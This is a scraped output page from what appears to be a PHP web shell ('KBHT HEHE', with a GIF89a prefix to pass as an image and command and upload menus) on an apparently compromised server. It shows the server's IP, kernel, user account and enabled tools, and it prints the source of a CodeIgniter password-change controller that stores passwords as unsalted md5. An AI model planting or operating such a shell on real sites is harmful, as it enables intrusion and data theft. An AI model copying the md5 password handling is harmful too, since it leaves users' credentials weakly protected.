GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.137.166.61
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../alumni/application/controllers/user/ChangePassword.php
<?php

/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class ChangePassword extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/UserManagement");
        $this->load->model("admin/NotificationManagement");
    }

    public function changePassword() {
        $userData = $this->session->userdata("userData");
        $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
        $this->load->view("user/changePassword", $viewData);
    }

    public function saveChangedPassword() {
        if ($this->sessionvalidator->validateSession("userData")) {

            $this->form_validation->set_rules("currentPassword", "current password", "required", array("required" => "Enter Current Password."));
            $this->form_validation->set_rules("newPassword", "new password", "required", array("required" => "Enter New Password"));
            $this->form_validation->set_rules("confirmNewPassword", "confirm new password", "required|matches[newPassword]", array("required" => "Re-enter New Password"));

            $userid = $this->session->userdata("userData")["userid"];
            $currentPassword = $this->input->post("currentPassword");
            $newPassword = $this->input->post("newPassword");
            $confirmNewPassword = $this->input->post("confirmNewPassword");

            if ($this->form_validation->run() == false) {
                $this->changePassword();
            } else if (sizeof($this->UserManagement->getUser($userid, md5($currentPassword))->result()) == 0) {
                $this->session->set_flashdata("errorMessage", "Enter Correct Current Password.");
                $this->changePassword();
            } else {
                if (!(strtolower($currentPassword) == strtolower($newPassword))) {
                    //when old and new password are different 
                    //print_r($this->UserManagement->getAdmin($admin_id, $currentPassword)->result());
                    $enc_new_password = md5($newPassword);
                    $userData = array("userid" => $userid, "password" => $enc_new_password);
                    if ($this->UserManagement->updateUser($userData)) {
                        $this->session->set_flashdata("successMessage", "Password Changed Successfully.");
                        $this->changePassword();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Change Password.");
                        $this->changePassword();
                    }
                } else {
                    // generate flash when new password and old password is same
                    $this->session->set_flashdata("errorMessage", "New Password Can't Be Same As Old Password.");
                    $this->changePassword();
                }
            }
        } else {
            $this->load->view("Home#loginModal");
        }
    }

}

KBHT - 2023